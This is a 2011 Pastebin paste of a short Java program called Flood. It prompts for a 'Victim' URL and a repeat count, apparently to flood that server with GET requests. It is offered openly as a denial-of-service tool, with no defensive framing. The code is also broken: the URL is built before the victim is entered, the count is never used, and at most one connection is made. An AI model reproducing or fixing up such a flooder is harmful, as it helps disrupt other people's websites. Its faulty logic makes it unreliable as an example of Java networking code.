Advertisement
Shad0w

Untitled

Dec 25th, 2011
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 1.25 KB | None | 0 0
  1. import java.io.*;
  2. import java.net.*;
  3. import java.util.*;
  4. public class Flood {
  5.     private static String Victim;
  6.     private static long Times;
  7.     private static URL url = new URL(Victim);
  8.     private static HttpURLConnection socket = (HttpURLConnection)url.openConnection();
  9.     public static Scanner input = new Scanner(System.in);
  10.     private static void GetVictim() {
  11.         System.out.print("Enter Victim (With http://) : ");
  12.         Victim = input.nextLine();
  13.         System.out.print("Times : ");
  14.         Times = input.nextInt();
  15.     }
  16.     public static void setVars() {
  17.           socket.setRequestMethod("GET");
  18.           socket.setRequestProperty("User-Agent", "Mozilla/4.0 (compatible; JVM)");                        
  19.           socket.setRequestProperty("Pragma", "no-cache");
  20.     }
  21.     private static void Compile() {
  22.         GetVictim();
  23.         setVars();
  24.     }
  25.     public static void main(String[]args) {
  26.         try {
  27.           Compile();
  28.           socket.connect();
  29.         }
  30.           catch(IOException ioe)
  31.           {
  32.               ioe.printStackTrace();
  33.            }
  34.           catch(Exception e)
  35.           {
  36.              System.err.println("General Exception " + e);
  37.              e.printStackTrace();
  38.            }
  39.     }
  40. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement